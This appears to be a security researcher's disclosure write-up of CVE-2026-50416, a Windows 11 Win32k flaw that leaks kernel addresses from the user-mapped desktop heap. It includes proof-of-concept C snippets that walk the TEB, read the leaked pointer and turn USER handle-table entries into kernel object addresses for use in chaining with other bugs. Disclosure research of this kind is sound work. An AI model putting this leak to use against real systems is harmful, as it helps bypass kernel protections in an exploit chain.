CVE-2026-50416: Windows 11 KASLR bypass
On the affected system, this read from the user mapping of the Win32 desktop heap returned a kernel address:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
That is the whole disclosure. At first it was only an eight-byte value with convincing high bits. I spent more time checking what the value followed than reading it.
Microsoft published the issue as CVE-2026-50416, a Win32k information disclosure classified as CWE-200.
The PoC starts at the x64 TEB. GS:[0x30] gives the current TEB, TEB + 0x800 reaches the Win32 client data in the build I tested, and slot 5 contains the user address of the desktop heap:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Slot 5 is another 0x28 bytes into that client data. Trellix documented the same TEB + 0x800 + 0x28 route while studying tagWND mappings on Windows 10 1909. These offsets are not an ABI. I hard-coded them and call VirtualQuery on the result before using the mapped region.
The pointer check covers canonical x64 sign extension, eight-byte alignment, and known sentinel patterns. The value then has to survive the behavior tests below.
The main PoC reads offset 0x100, creates one STATIC, one BUTTON, and one EDIT window, reads it again, destroys the three windows, then reads it once more.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
/* Create STATIC, BUTTON and EDIT windows. */
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
/* Destroy all three. */
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
The three QWORDs matched. Those window allocations came and went; the value at 0x100 did not.
kaslr_sandbox_proof.c handles the process comparison. The parent redirects each child's stdout through a pipe, parses the QWORD the child read, and compares it with the baseline.
Children attached to the default desktop returned the same value. A child assigned to a desktop created with CreateDesktop returned a different one. The harness also exercises Low integrity, AppContainer, its LPAC configuration, and Low integrity AppContainer children. They all perform the read from their own TEB and mapping rather than receiving the parent's value.
supporting_proof_no_window.c performs the read without calling CreateWindowEx. No new USER window is needed.
The main PoC treats the leaked value minus 0x40 as the kernel-side base corresponding to the desktop heap:
ULONG64 candidate_kernel_heap_base = leaked - 0x40;
It then looks up user32!gSharedInfo, uses the low 16 bits of an HWND as the USER handle-table index, and advances through aheList by HeEntrySize. If the first QWORD in that entry is nonzero and smaller than the mapped heap, the PoC uses it as a relative desktop-heap offset:
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
if (heap_offset > 0 && heap_offset < heap_size) {
BYTE *user_candidate = desktop_heap + heap_offset;
ULONG64 kernel_candidate = candidate_kernel_heap_base + heap_offset;
}
This is the same general relationship used in older desktop-heap techniques: the user and kernel views place an object at the same offset from their respective heap bases. Unit 42 gives useful background on the USER handle table and the older gSharedInfo and HMValidateHandle address leaks.
The resulting addresses are the PoC's kernel-object candidates. The 0x40 relationship, handle-entry layout, and TEB offsets belong to the build used for the test.
I leave the object candidates there. The QWORD at desktop_heap + 0x100 is already stable kernel-space address information in a user-readable mapping. A separate Win32k memory-corruption bug can use it in place of an address guess.